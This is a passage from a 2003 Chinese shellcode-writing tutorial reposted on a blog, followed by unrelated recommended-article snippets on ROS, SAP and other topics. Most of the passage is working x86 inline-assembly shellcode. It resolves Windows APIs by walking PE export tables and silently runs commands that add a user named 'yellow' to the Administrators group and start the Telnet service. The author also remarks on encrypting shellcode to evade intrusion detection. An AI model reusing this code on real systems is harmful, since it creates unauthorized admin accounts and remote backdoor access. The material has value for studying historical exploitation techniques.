_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD[i],SW_HIDE);
/*
    我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
开发(比如我们可以使用WinSock自己实现一个Telnet服务端).
*/
API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误

__asm
{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
   ImageBase:DLL基址
   FuncName:需要查找的引出函数名
   flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
   Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
   如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
xor eax,eax//如果没有找到,则返回0
Found:
ret
//ShellCode结束标识符
_emit '*'
_emit '*'
}
}

void AboutMe(void)
{
printf("/t++++++++++++++++++++++++++++++++++/n");
printf("/t+         ShellCode Demo!        +/n");
printf("/t+         Code by yellow         +/n");
printf("/t+         Date:2003-12-21        +/n");
printf("/t+    Email:yellow@safechina.net  +/n");
printf("/t+    Home Page: www.safechina.net +/n");
printf("/t++++++++++++++++++++++++++++++++++/n");

}

void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("/n/t");
printf("0x%0.2X,",*sc++);
}
printf("/n};/nTotal %d Bytes/r/n",x+1);
}

int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
    注意我在这里我没有演示ShellCode加密技术,现在的ShellCode加密大都都xor之类的操作,基本上比较简单
,但为了逃避"入侵检测系统"的查杀还是应该使用比较好的加密方法,我想以后可能会写一些相关的技术文章吧!

    Ok!已经演示了这么多,我想你的收获一定不小吧!俗话说的好"师傅领进门,修行在个人",ShellCode最关键的
技术我们已经掌握了,至于怎么去实现一个功能丰富的ShellCode就看你自己的开发技术和经验了!
--------------------------------------------------------------------------------------------------

最后
  当我初学ShellCode编写技术时,对于没有能让初学者入门的ShellCode教程可以参考而感到烦恼,所以在我完成
PE和KERNEL32地址获得方法学习后,就立刻写了这篇文章,希望对广大初学者有所帮助!眼看快要到圣诞节,yellow
在这里初大家圣诞节快乐,永远开心,永远年轻!愿中国的安全技术更上一层楼!

4,参考资料.
  <MSDN>
  <Windows 核心编程>
  <Windows 95系统程序设计大奥秘>
  <Win32Asm Programming>
5,关键字:
  通用ShellCode,黑客编程技术,PE引出表,KERNEL32.DLL地址,结构化异常处理,SEH,溢出,overflow,中华安全网
                                                                  By yellow from www.safechina.net
                                                                                  2003年12月21日晚
The End.
ROS基础——动作编程 ROS基础——动作编程 什么是动作(action) 一种问答通信机制 带有连续反馈 可以在任务过程中止运行 基于ROS的消息机制实现 Action的接口 goal:发布任务目标 cancel:请求取消任务 status:通知客户端当前的状态 feedback:周期反馈任务运行的监控数据 result:向客户端发送任务的执行结果,只发布一次 一、定义action文件 cd ~/catkin_ws/src/learning_action/action sudo gedit DoDishes.action 阅读详情

相关推荐

ros2动作编程-server

我们这一节开始学习ros2的动作编程,(预留动作编程原理)将创建运行一个动作服务器节点和动作客户端节点实现斐波那契数列的运算。 首先我们进入我们的消息功能包添加一个action文件夹幷在里面新建一个Fibonacci.action文件,内容如下: #goal int32 order --- #result int32[] sequence --- #feedback int32[] partial...

qq825255961的博客 1395

通用ShellCode深入剖析

创建时间:2004-01-08文章属性:转载文章提交:l0pht (vbs_at_21cn.com)[SafeChina推荐]通用ShellCode深入剖析                       通用ShellCode深入剖析                           作者:yellow                     Email:yellow@safechina.net 

1056

机器人操作系统ROS动作编程

ros下实现小乌龟动态编程以及分布式编程

chenyu128的博客 1142

反汇编实例

谁能帮我解释一段代码? 每条指令都能看懂,但合在一起就不知道有什么用了        没办法,帮不了你!        不好意思哈,再等高手 这种反汇编,而且缺少上下文的东西相信没有人能看得懂!    楼主可能会失望了!     *  Referenced  by  a  (U)nconditional  or  (C)onditional  Jump

饿的神啊 2934

机器人编程与动作设计

本文介绍了多个机器人编程任务,包括物体移动的伪代码设计、沿墙行走的路径控制、LCD显示文本与图像、记录恰恰舞动作以及循环播放声音并旋转的程序实现,涵盖了NXT编程中的基本操作与逻辑控制。

moss5的博客 1219

2024年上半年网络工程师下午真题及答案解析

位于MPLS域边缘、连接其他网络的LSR称为( 3 ),区域内部的LSR称为核心LSR(CoreLSR)IP报文进入MPLS网络时,MPLS入口设备分析IP报文的内容并为其添加合适的标签,所有MPLS网络中的LSR根据标签转发数据,当该IP报文离开MPLS网络时,标签由出口LER弹出。LSP的出口LER称为( 6 )。某高校网络拓扑如下图所示,两校区核心(CORE-1、CORE-2),出口防火墙(NGFW-1、NGFW-2)通过校区间光缆互联,配置OSPF实现全校路由收敛,两校区相距40km。

bsefef的博客 2471

深入探索Win32结构化异常处理

在Win32操作系统提供的所有功能中,使用最广泛而又没有公开的恐怕要数结构化异常处理( Structured Exception Handling ,SEH ) 了。当你考虑Win32结构化异常处理时,也许会想到__try、__finally和__except等术语。可能你在任何一本讲解Win32的好书上 都能找到关于SEH较为详细的描述,甚至Win32 SDK文档也对使用__try、__fi

ldh_cq的专栏 638

卡尔曼滤波、互补滤波与Tsinghua滤波:平衡车姿态感知的三大算法对比

本文对比了平衡车姿态感知中的卡尔曼滤波、互补滤波与Tsinghua滤波三大核心算法。互补滤波计算简单,适合入门;卡尔曼滤波理论最优但实现复杂;Tsinghua滤波则是一种面向嵌入式优化的轻量级方案,通过动态权重调整和零偏估计,在资源受限的MCU上实现了性能与效率的平衡,是智能车竞赛等场景的实用选择。

weixin_29232121的博客 349

FS寄存器

FS寄存器指向当前活动线程的TEB结构(线程结构)偏移 说明000 指向SEH链指针004 线程堆栈顶部008 线程堆栈底部00C SubSystemTib010 FiberData014 ArbitraryUserPointer018 FS段寄存器在内存中的镜像地址020 进程PID024 线程ID02C 指向线程局部存储指针030 PEB结构地址(进程结构)034 上个错误号得到KER

求索 1107

WRF后处理总结:wrf-python与NCL在WRF后处理中的基本应用——变量提取、计算与可视化

判断需要提取的变量与诊断量确定后,使用getvar函数进行提取。可使用ncdump-h命令查看wrfout中的变量,wrf中的诊断量分类也可从官方文档处查阅。判断绘图类型所需的可视化绘图类型,决定了你在WRF后处理中的计算步骤。1D点线图:ll_to_xy interpline2D填色图:interplevel3D剖面图:vinterp vertcross绘图、美化色标、XY轴、标签的设置等等。

weixin_43750300的博客 1万+

基于深度学习的道路裂缝检测识别研究(开题报告)

具体而言,将本研究提出的模型与其他先进的道路裂缝检测算法在相同的数据集上进行对比实验,通过对比实验结果,分析不同算法在准确率、召回率、F1值等指标上的优劣,以及在实际应用中的表现。通过对综述论文的学习了解,对计算机视觉、多模态相关领域的基础进行简要介绍,并在跨模态行人重识别研究领域归纳国内外研究现状和发展趋势,明确当前面临的问题和挑战,并针对当前存在的问题展开后续研究。第二,研究解决该问题的途径和方法。基于深度学习的道路裂缝检测识别研究,旨在通过构建和优化深度学习模型,实现对道路裂缝的自动识别和定位。

毕业作品网站 3828

网上收集的几个花指令

c++花指令:00460000: 55                             PUSH EBP00460001: 8B EC                          MOV EBP,ESP00460003: 6A FF                          PUSH FF00460005: 68 2A 2C 0A 00                 PUS

2596

基于FPGA的DDR学习——1.基础知识

⚪DDR2(Double Data Rate2)SDRAM是由JEDEC(电子设备工程联合委员会)开发的第三代SDRAM内存技术标准,1.8V工作电压,240线接口,提供了相较于DDR SDRAM更高的运行效能与更低的电压,同样采用在时钟的上升/下降沿同时进行数据传输的基本方式,但拥有两倍于上一代DDR内存预读取能力(即4bit数据预取能力),其常见的频率规范有DDR2 400\533\667\800\1066\1333等,总线频率553MHZ的DDR2内存只需133MHZ的工作频率。

qq_44932488的博客 2070

ROS机器人006-ROS通信编程(动作编程)

一、什么是动作编程 前面我们已经学习了服务编程和消息编程,服务编程主要是客户端提交给服务器数据,服务器处理数据后返回给客户端,动作编程也是服务端和客户端,但是应答式的服务,客户端提交动作,服务端进行完成,并实施报告进度 二、定义自定义动作消息 1.定义action文件 同样也是用三横杠分割,这里为两个三横杠 第一个为:动作的目标信息(ID) 第二个为:动作的结果信息(是否完成) 第三个为:动作周...

weixin_39193953的博客 914

如何创建 SAP ABAP CDS View 的 Association

所以本文我们虽然学习了如何创建 SAP CDS View 的 association,知道了 association 是用来在 CDS View 里将两张数据库表关联起来,但根本不知道怎么使用这个 association. 而且从 association 的写法来看,似乎和本教程之前介绍 inner join,left join 这些数据库表的连接操作没什么区别,都是根据两张表的 carrid 和 connid 字段相同进行的连接。只看到了我们在 CDS View 源代码实现里,放出来的四个字段。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 904

利用AWVS进行反制

awvs 10.5下载 http://www.32r.com/soft/12986.html

渗透之路,攻防之间皆学问 6653

ROS kinetic 动作编程

Action接口goal    发布任务目标cancel    请求取消任务status    通知客户端当前的状态feedback    周期反馈任务运行的监控数据result    向客户端发送任务的执行结果,只发布一次自定义动作消息消息类型定义actionkinetic@vm:~$ mkdir ~/catkin_ws/src/learning_communication/actionkine...

Geek猫的专栏 2394

产品需求从场景,初始需求IR,产品需求 OR,设计需求DR,设计规格DS的具体案例说明,以扫地机产品为例

摘要: 以扫地机器人"宠物粪便避障"功能为例,说明从用户场景到产品落地的完整需求转化路径。初始需求(IR)源于养宠家庭痛点,要求100%避障并自动告警;产品需求(OR)转化为≥98%识别准确率等量化指标;设计需求(DR)拆解为感知、决策、执行三大技术模块;最终形成传感器选型(如索尼IMX678)、芯片规格(高通QCS6490)等设计规格(DS)。通过实验室模拟和用户测试验证,该功能使产品溢价30%,养宠家庭购买占比达52%,实现技术与商业价值的统一。

AIoT深度探索者 | 嵌入式系统架构师 深耕物联网(IoT)与人工智能(AI)融合技术,聚焦​​边缘计算、图像开发、低功耗通信协议​​,致力于智能硬件,关注我获取最新技术文章信息与海量资源~ 766

ROS动作编程

ROS动作编程

the_same_bug的博客 417

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ROS(七)之动作编程:action文件

文章目录一、动作编程1.概念2.3.4.二、代码1.定义action文件 一、动作编程 1.概念 动作(action): 一种问答通信机制 带有连续反馈 可以在任务过程中中止运行 基于ROS的消息机制实现 Action的接口 goal:发布任务目标 cancel:请求取消任务 status:通知客户端当前服务器的状态 feedback:周期反馈任务运行的监控数据 result:向客户端发...

sandalphon4869的博客 3249

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

练习ROS动作编程

-----

LX567567的博客 482

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

面向web 动作编程

什么是动作?  动作是NoahWeb中极为重要的一个概念,浏览器与服务器一个完整的上下交互行程都可以理解成一个动作。  动作编程与以往的过程编程和对象编程是截然不同的一种编程思路。过程编程已经被某种意义上被淘汰在此就不做讨论,而动作编程与对象编程相比较,他们之间最大的区别在于“高度”的不同。  类、对象带给我们的面向对象编程可以让我们方便的在众多领域中进行复杂、高效的编程实现应用。

welcomejzh的专栏 1024

ROS 入门 —— 动作编程

ROS 入门 —— 动作编程 客户端发送一个运动目标,模拟机器人运动到目标位置的过程,包含服务端和客户端的代码实现,要求带有实时位置反馈 什么是动作? 机器人是一个复杂的智能系统,并不仅仅是键盘遥控运动、识别某个目标这么简单,我们需要实现的是送餐、送货、分拣等满足具体场景需求的机器人 在这些应用功能的实现中,另外一种 ROS 通信机制也会被常常用到——那就是动作。从这个名字上就可以很好理解这个概...

ppqppl的博客 798

ROS基础学习—话题、服务、动作编程

在ROS(Robot Operating System)中,工作空间(Workspace)是一个用户可以用来组织并构建自定义ROS软件包的文件夹结构。通常,这个工作空间被称为,得名于ROS的构建系统catkin。一个典型的catkin工作空间包含以下几个部分:src (source)目录:这是工作空间的核心目录,包含所有的ROS软件包源代码。当你创建一个新的ROS工作空间时,会从创建这个目录开始。任何你下载或创建的自定义ROS软件包都应该放在这个目录下。build目录。

LX567567的博客 2000
上一篇: 【分析】Serv-U "MDTM"命令远程溢出分析
下一篇: 【分析】一种小堆(heap)溢出的另类利用方法
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值